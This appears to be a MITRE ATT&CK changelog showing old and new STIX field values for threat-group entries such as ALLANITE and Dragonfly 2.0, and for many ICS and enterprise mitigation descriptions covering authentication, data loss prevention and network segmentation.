| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://dragos.com/resource/allanite/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-05 23:05:19.419000+00:00 | 2022-05-24 19:26:10.721000+00:00 |
| description | [ALLANITE](https://collaborate.mitre.org/attackics/index.php/Group/G0009) is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to [Dragonfly](https://collaborate.mitre.org/attackics/index.php/Group/G0002) / [Dragonfly 2.0](https://collaborate.mitre.org/attackics/index.php/Group/G0006), although ALLANITE’s technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence. (Citation: Dragos ALLANITE) | [ALLANITE](https://attack.mitre.org/groups/G1000) is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to [Dragonfly](https://attack.mitre.org/groups/G0035), although [ALLANITE](https://attack.mitre.org/groups/G1000)s technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence. (Citation: Dragos) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Group/G0009 | https://attack.mitre.org/groups/G1000 |
| external_references[1]['source_name'] | ALLANITE | Dragos |
| external_references[1]['description'] | (Citation: Dragos ALLANITE) | Dragos Allanite Retrieved. 2019/10/27 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | ALLANITE | |
| external_references | {'source_name': 'Dragos ALLANITE', 'description': 'Dragon. (n.d.). Allanite. Retrieved October 27, 2019', 'url': 'https://www.dragos.com/threat/allanite/'} |
Current version: 2.1
Description: [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY )
This object has been revoked by [G0035] Dragonfly
Description for [G0035] Dragonfly: [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 20:14:58.980000+00:00 | 2022-05-11 14:00:00.188000+00:00 |
| description | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
| revoked | False | True |
| external_references[1]['source_name'] | Dragonfly 2.0 | DYMALLOY |
| external_references[1]['description'] | (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017) | (Citation: Dragos DYMALLOY ) |
| external_references[2]['source_name'] | IRON LIBERTY | Berserk Bear |
| external_references[2]['description'] | (Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY) | (Citation: Fortune Dragonfly 2.0 Sept 2017) |
| external_references[3]['source_name'] | DYMALLOY | IRON LIBERTY |
| external_references[3]['description'] | (Citation: Dragos DYMALLOY ) | (Citation: Secureworks MCMD July 2019)(Citation: Secureworks IRON LIBERTY) |
| external_references[4]['source_name'] | Berserk Bear | Dragonfly 2.0 |
| external_references[4]['description'] | (Citation: Fortune Dragonfly 2.0 Sept 2017) | (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017) |
| external_references[5]['source_name'] | US-CERT TA18-074A | Dragos DYMALLOY |
| external_references[5]['description'] | US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. |
| external_references[5]['url'] | https://www.us-cert.gov/ncas/alerts/TA18-074A | https://www.dragos.com/threat/dymalloy/ |
| external_references[6]['source_name'] | Symantec Dragonfly Sept 2017 | Fortune Dragonfly 2.0 Sept 2017 |
| external_references[6]['description'] | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. |
| external_references[6]['url'] | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ |
| external_references[7]['source_name'] | Fortune Dragonfly 2.0 Sept 2017 | Secureworks MCMD July 2019 |
| external_references[7]['description'] | Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018. | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. |
| external_references[7]['url'] | http://fortune.com/2017/09/06/hack-energy-grid-symantec/ | https://www.secureworks.com/research/mcmd-malware-analysis |
| external_references[8]['source_name'] | Dragos DYMALLOY | Secureworks IRON LIBERTY |
| external_references[8]['description'] | Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020. | Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020. |
| external_references[8]['url'] | https://www.dragos.com/threat/dymalloy/ | https://www.secureworks.com/research/threat-profiles/iron-liberty |
| external_references[9]['source_name'] | Secureworks MCMD July 2019 | Symantec Dragonfly Sept 2017 |
| external_references[9]['description'] | Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020. | Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017. |
| external_references[9]['url'] | https://www.secureworks.com/research/mcmd-malware-analysis | https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group |
| external_references[10]['source_name'] | Secureworks IRON LIBERTY | US-CERT TA18-074A |
| external_references[10]['description'] | Secureworks. (n.d.). IRON LIBERTY. Retrieved October 15, 2020. | US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. |
| external_references[10]['url'] | https://www.secureworks.com/research/threat-profiles/iron-liberty | https://www.us-cert.gov/ncas/alerts/TA18-074A |
| x_mitre_version | 1.3 | 2.1 |
Current version: 1.0
Description: [Leafminer](https://collaborate.mitre.org/attackics/index.php/Group/G0004) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)
Current version: 1.0
Description: Use a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss Prevention)
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 20:11:42.195000+00:00 | 2022-02-28 19:50:41.210000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 13:08:45.966000+00:00 | 2020-11-19 20:44:07.442000+00:00 |
Current version: 1.0
Description: Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound). Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Enterprises can vet applications for exploitable vulnerabili | t | 1 | Enterprises can vet applications for exploitable vulnerabili |
| > | ties or unwanted (privacy-invasive or malicious) behaviors. | > | ties or unwanted (privacy-invasive or malicious) behaviors. | ||
| > | Enterprises can inspect applications themselves or use a thi | > | Enterprises can inspect applications themselves or use a thi | ||
| > | rd-party service. Enterprises may impose policies to only a | > | rd-party service. Enterprises may impose policies to only a | ||
| > | llow pre-approved applications to be installed on their devi | > | llow pre-approved applications to be installed on their devi | ||
| > | ces or may impose policies to block use of specific applicat | > | ces or may impose policies to block use of specific applicat | ||
| > | ions known to have issues. In Bring Your Own Device (BYOD) e | > | ions known to have issues. In Bring Your Own Device (BYOD) e | ||
| > | nvironments, enterprises may only be able to impose these po | > | nvironments, enterprises may only be able to impose these po | ||
| > | licies over an enterprise-managed portion of the device. Ap | > | licies over an enterprise-managed portion of the device. Ap | ||
| > | plication Vetting is not a complete mitigation. Techniques s | > | plication Vetting is not a complete mitigation. Techniques s | ||
| > | uch as [Detect App Analysis Environment](https://attack.mitr | > | uch as [Evade Analysis Environment](https://attack.mitre.org | ||
| > | e.org/techniques/T1440) exist that can enable adversaries to | > | /techniques/T1523) exist that can enable adversaries to bypa | ||
| > | bypass vetting. | > | ss vetting. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-10-18 15:53:07.393000+00:00 | 2021-02-18 16:14:17.809000+00:00 |
| description | Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service. Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device. Application Vetting is not a complete mitigation. Techniques such as [Detect App Analysis Environment](https://attack.mitre.org/techniques/T1440) exist that can enable adversaries to bypass vetting. | Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service. Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device. Application Vetting is not a complete mitigation. Techniques such as [Evade Analysis Environment](https://attack.mitre.org/techniques/T1523) exist that can enable adversaries to bypass vetting. |
Current version: 1.0
Description: Configure features related to account use like login attempt lockouts, specific login times, etc.
Current version: 1.0
Description: Configure Active Directory to prevent use of certain techniques; use security identifier (SID) Filtering, etc.
Current version: 1.0
Description: Use signatures or heuristics to detect malicious software. Within industrial control environments, antivirus/antimalware installations should be limited to assets that are not involved in critical or real-time operations. To minimize the impact to system availability, all products should first be validated within a representative test environment before deployment to production systems. (Citation: NCCIC August 2018)
Current version: 1.0
Description: This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.
Current version: 1.0
Description: Restrict the execution of code to a virtual environment on or in-transit to an endpoint system.
Current version: 1.0
Description: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. Perform periodic integrity checks of the device to validate the correctness of the firmware, software, programs, and configurations. Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.
Current version: 1.0
Description: Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.
Current version: 1.0
Description: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.
Current version: 1.0
Description: Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise. Maintain and exercise incident response plans (Citation: Department of Homeland Security October 2009), including the management of 'gold-copy' back-up images and configurations for key systems to enable quick recovery and response from adversarial activities that impact control, view, or availability.
Current version: 1.0
Description: Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.
Current version: 1.0
Description: Protect sensitive data-at-rest with strong encryption.
Current version: 1.0
Description: Block execution of code on a system through application control, and/or script blocking.
Current version: 1.0
Description: Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.
Current version: 1.0
Description: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations. Application denylists may be needed if all acceptable communication sequences cannot be defined, but instead a set of known malicious uses can be denied (e.g., excessive communication attempts, shutdown messages, invalid commands). Devices performing these functions are often referred to as deep-packet inspection (DPI) firewalls, context-aware firewalls, or firewalls blocking specific automation/SCADA protocol aware firewalls. (Citation: Centre for the Protection of National Infrastructure February 2005)
Current version: 1.0
Description: Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.
Current version: 1.0
Description: Block users or groups from installing or using unapproved hardware on systems, including USB devices.
Current version: 1.0
Description: Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator. Within industrial control environments assets such as low-level controllers, workstations, and HMIs have real-time operational control and safety requirements which may restrict the use of multi-factor.
Current version: 1.0
Description: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.
Current version: 1.0
Description: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems. For example, in IEC 62443, systems within the same secure level should be grouped into a zone, and access to that zone is restricted by a conduit, or mechanism to restrict data flows between zones by segmenting the network. (Citation: IEC February 2019) (Citation: IEC August 2013)
Current version: 1.0
Description: Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.
Current version: 1.0
Description: Set and enforce secure password policies for accounts.
Current version: 1.0
Description: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
Current version: 1.0
Description: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.
Current version: 1.0
Description: Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.
Current version: 1.0
Description: Restrict the ability to modify certain hives or keys in the Windows Registry.
Current version: 1.0
Description: Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.
Current version: 1.0
Description: Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.
Current version: 1.0
Description: Implement configuration changes to software (other than the operating system) to mitigate security risks associated with how the software operates.
Current version: 1.0
Description: Implement a supply chain management program, including policies and procedures to ensure all devices and components originate from a trusted supplier and are tested to verify their integrity.
Current version: 1.0
Description: A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.
Current version: 1.0
Description: Perform regular software updates to mitigate exploitation risk. Software updates may need to be scheduled around operational down times.
Current version: 1.0
Description: Manage the creation, modification, use, and permissions associated to user accounts.
Current version: 1.0
Description: Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.
Current version: 1.0
Description: Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Access Management technologies can be used to enforce author | t | 1 | Access Management technologies can be used to enforce author |
| > | ization polices and decisions, especially when existing fiel | > | ization polices and decisions, especially when existing fiel | ||
| > | d devices do not provided capabilities to support user ident | > | d devices do not provided sufficient capabilities to support | ||
| > | ification and authentication. (Citation: NIST SP 1800-2) The | > | user identification and authentication. (Citation: McCarthy | ||
| > | se technologies typically utilize an in-line network device | > | , J et al. July 2018) These technologies typically utilize a | ||
| > | or gateway system to prevent access to unauthenticated users | > | n in-line network device or gateway system to prevent access | ||
| > | , while also integrating with an authentication service to f | > | to unauthenticated users, while also integrating with an au | ||
| > | irst verify user credentials. (Citation: CPNI Nov 2010) | > | thentication service to first verify user credentials. (Cita | ||
| > | tion: Centre for the Protection of National Infrastructure N | ||||
| > | ovember 2010) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 2.1', 'IEC 62443-4-2:2019 - CR 2.1', 'NIST SP 800-53 Rev. 4 - AC-3'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-05-06 17:47:24.034000+00:00 |
| description | Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provided capabilities to support user identification and authentication. (Citation: NIST SP 1800-2) These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials. (Citation: CPNI Nov 2010) | Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provided sufficient capabilities to support user identification and authentication. (Citation: McCarthy, J et al. July 2018) These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials. (Citation: Centre for the Protection of National Infrastructure November 2010) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0801 | https://attack.mitre.org/mitigations/M0801 |
| external_references[1]['source_name'] | NIST SP 1800-2 | McCarthy, J et al. July 2018 |
| external_references[1]['description'] | McCarthy, J et al.. (2018, July). NIST SP 1800-2 Identity and Access Management for Electric Utilities. Retrieved September 17, 2020. | McCarthy, J et al. 2018, July NIST SP 1800-2 Identity and Access Management for Electric Utilities Retrieved. 2020/09/17 |
| external_references[2]['source_name'] | CPNI Nov 2010 | Centre for the Protection of National Infrastructure November 2010 |
| external_references[2]['description'] | Centre for the Protection of National Infrastructure. (2010, November). Configuring and Managing Remote Access for Industrial Control Systems. Retrieved September 25, 2020. | Centre for the Protection of National Infrastructure 2010, November Configuring and Managing Remote Access for Industrial Control Systems Retrieved. 2020/09/25 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | The device or system should restrict access to read, manipul | t | 1 | The device or system should restrict read, manipulate, or ex |
| > | ate, or execute system objects to only authenticated users w | > | ecute privileges to only authenticated users who require acc | ||
| > | ho require access based on approved security policies. Role- | > | ess based on approved security policies. Role-based Access | ||
| > | based Access Control (RBAC) schemes can help reduce the over | > | Control (RBAC) schemes can help reduce the overhead of assig | ||
| > | head of assigning permissions to the large number of devices | > | ning permissions to the large number of devices within an IC | ||
| > | within an ICS. For example, IEC 62351 provides examples of | > | S. For example, IEC 62351 provides examples of roles used to | ||
| > | roles used to support common system operations within the el | > | support common system operations within the electric power | ||
| > | ectric power sector (Citation: IEC 62351), while IEEE 1686 p | > | sector (Citation: International Electrotechnical Commission | ||
| > | rovide sets of standard permissions for users of IEDs. (Cita | > | July 2020), while IEEE 1686 defines standard permissions fo | ||
| > | tion: IEEE 1686-2013) | > | r users of IEDs. (Citation: Institute of Electrical and Elec | ||
| > | tronics Engineers January 2014) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 2.1', 'IEC 62443-4-2:2019 - CR 2.1', 'NIST SP 800-53 Rev. 4 - AC-3'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-05-06 17:47:24.038000+00:00 |
| description | The device or system should restrict access to read, manipulate, or execute system objects to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector (Citation: IEC 62351), while IEEE 1686 provide sets of standard permissions for users of IEDs. (Citation: IEEE 1686-2013) | The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector (Citation: International Electrotechnical Commission July 2020), while IEEE 1686 defines standard permissions for users of IEDs. (Citation: Institute of Electrical and Electronics Engineers January 2014) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0800 | https://attack.mitre.org/mitigations/M0800 |
| external_references[1]['source_name'] | IEC 62351 | International Electrotechnical Commission July 2020 |
| external_references[1]['description'] | International Electrotechnical Commission. (2020, July 17). IEC 62351 - Power systems management and associated information exchange - Data and communications security. Retrieved September 17, 2020. | International Electrotechnical Commission 2020, July 17 IEC 62351 - Power systems management and associated information exchange - Data and communications security Retrieved. 2020/09/17 |
| external_references[2]['source_name'] | IEEE 1686-2013 | Institute of Electrical and Electronics Engineers January 2014 |
| external_references[2]['description'] | Institute of Electrical and Electronics Engineers. (2014, January). 1686-2013 - IEEE Standard for Intelligent Electronic Devices Cyber Security Capabilities. Retrieved September 17, 2020. | Institute of Electrical and Electronics Engineers 2014, January 1686-2013 - IEEE Standard for Intelligent Electronic Devices Cyber Security Capabilities Retrieved. 2020/09/17 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | When communicating over an untrusted network utilize secure | t | 1 | When communicating over an untrusted network, utilize secure |
| > | network protocols that both authenticate the message sender | > | network protocols that both authenticate the message sender | ||
| > | and can verify its integrity, either through message authent | > | and can verify its integrity. This can be done either throu | ||
| > | ication codes (MACs) or digital signatures, to prevent the t | > | gh message authentication codes (MACs) or digital signatures | ||
| > | ransmission of spoofed network messages or unauthorized conn | > | , to detect spoofed network messages and unauthorized connec | ||
| > | ections. | > | tions. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 3.1', 'IEC 62443-4-2:2019 - CR 3.1', 'NIST SP 800-53 Rev. 4 - SC-8; SC-23'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-05-06 17:47:24.039000+00:00 |
| description | When communicating over an untrusted network utilize secure network protocols that both authenticate the message sender and can verify its integrity, either through message authentication codes (MACs) or digital signatures, to prevent the transmission of spoofed network messages or unauthorized connections. | When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0802 | https://attack.mitre.org/mitigations/M0802 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Data Loss Prevention (DLP) technologies can be used to help | t | 1 | Data Loss Prevention (DLP) technologies can be used to help |
| > | identify adversarial attempts to exfiltrate operational info | > | identify adversarial attempts to exfiltrate operational info | ||
| > | rmation, such as engineering plans, trade secrets, recipes, | > | rmation, such as engineering plans, trade secrets, recipes, | ||
| > | intellectual property, or process telemetry. DLP functionali | > | intellectual property, or process telemetry. DLP functionali | ||
| > | ty may be built into other security products such as firewal | > | ty may be built into other security products such as firewal | ||
| > | ls or stand alone suites running on the network and host-bas | > | ls or standalone suites running on the network and host-base | ||
| > | ed agents. DLP may be configured to prevent the transfer of | > | d agents. DLP may be configured to prevent the transfer of i | ||
| > | information through corporate resources such as email, web, | > | nformation through corporate resources such as email, web, a | ||
| > | and physical media such as USB for host-based solutions. | > | nd physical media such as USB for host-based solutions. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 4.1', 'IEC 62443-4-2:2019 - CR 4.1'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-05-06 17:47:24.040000+00:00 |
| description | Data Loss Prevention (DLP) technologies can be used to help identify adversarial attempts to exfiltrate operational information, such as engineering plans, trade secrets, recipes, intellectual property, or process telemetry. DLP functionality may be built into other security products such as firewalls or stand alone suites running on the network and host-based agents. DLP may be configured to prevent the transfer of information through corporate resources such as email, web, and physical media such as USB for host-based solutions. | Data Loss Prevention (DLP) technologies can be used to help identify adversarial attempts to exfiltrate operational information, such as engineering plans, trade secrets, recipes, intellectual property, or process telemetry. DLP functionality may be built into other security products such as firewalls or standalone suites running on the network and host-based agents. DLP may be configured to prevent the transfer of information through corporate resources such as email, web, and physical media such as USB for host-based solutions. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0803 | https://attack.mitre.org/mitigations/M0803 |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 4.1', 'IEC 62443-4-2:2019 - CR 4.1', 'NIST SP 800-53 Rev. 4 - SC-8'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-17 13:55:21.233000+00:00 | 2022-05-06 17:47:24.041000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0808 | https://attack.mitre.org/mitigations/M0808 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | The device should require that a user authenticates before t | t | 1 | Require user authentication before allowing access to data o |
| > | hey can remotely access it, or send a command to it. While s | > | r accepting commands to a device. While strong multi-factor | ||
| > | trong multi-factor authentication is preferrable, it is not | > | authentication is preferable, it is not always feasible with | ||
| > | always feasible within this ICS environments. Performing str | > | in ICS environments. Performing strong user authentication a | ||
| > | ong user authentication also requires additional security co | > | lso requires additional security controls and processes whic | ||
| > | ntrols and processes which are often the target of related a | > | h are often the target of related adversarial techniques (e. | ||
| > | dversarial techniques (e.g., Valid Accounts, Default Credent | > | g., Valid Accounts, Default Credentials). Therefore, associa | ||
| > | ials). Therefore, associated ATT&CK mitigations should be co | > | ted ATT&CK mitigations should be considered in addition to t | ||
| > | nsidered in addition to this, including Multi-factor Authent | > | his, including [Multi-factor Authentication](https://attack. | ||
| > | ication (M1032), Account Use Policies (M1036), Password Pol | > | mitre.org/mitigations/M0932), [Account Use Policies](https:/ | ||
| > | icies (M1027), User Account Management (M1018), Privileged A | > | /attack.mitre.org/mitigations/M0936), [Password Policies](ht | ||
| > | ccount Management (M1026), and User Account Control (M1052) | > | tps://attack.mitre.org/mitigations/M0927), [User Account Man | ||
| > | . | > | agement](https://attack.mitre.org/mitigations/M0918), [Privi | ||
| > | leged Account Management](https://attack.mitre.org/mitigatio | ||||
| > | ns/M0926), and [https://attack.mitre.org/mitigations/M1052/ | ||||
| > | User Account Control]. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| labels | ['IEC 62443-3-3:2013 - SR 1.1', 'IEC 62443-4-2:2019 - CR 1.1', 'NIST SP 800-53 Rev. 4 - IA-2'] | |
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
